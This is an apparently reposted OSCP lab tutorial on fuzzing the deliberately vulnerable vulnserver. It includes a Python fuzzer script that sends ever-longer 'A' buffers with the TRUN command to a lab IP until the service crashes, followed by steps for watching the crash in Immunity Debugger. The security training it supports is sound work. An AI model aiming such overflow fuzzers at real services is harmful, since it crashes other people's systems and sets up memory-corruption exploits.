OSCP Security Technology - Fuzzing

时间:2021-06-28 19:14:54   收藏:0   阅读:0

OSCP Security Technology - Fuzzing

Download vulnserver from the grey corner website.

https://thegreycorner.com/vulnserver.html

技术图片

技术图片

Download immunity debugger from here.

https://www.immunityinc.com/products/debugger/

nc -nv 192.168.2.21 9999

Kali

技术图片

Vulserver

技术图片

nano fuzzer.py
chmod 777 fuzzer.py
./fuzzer.py
#!/usr/bin/python
import socket
import sys

buffer=["A"]
counter=100
while len(buffer) <= 30:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print "Fuzzing vulnserver with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((‘192.168.2.21‘,9999))
    s.send((‘TRUN /.:/‘ + string))
    s.close()

Create and run the fuzzer script.

技术图片

The vulserver is crashed now.

技术图片

Debug and watch what will happen.

Install and open Immunity Debugger.

技术图片

Attach vulnserver.

技术图片

Run the debugger.

技术图片

Run the fuzzer.py script on Kali Linux again.

技术图片

The vulnserver is crashed and the debugger is paused.

技术图片

评论(0)
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!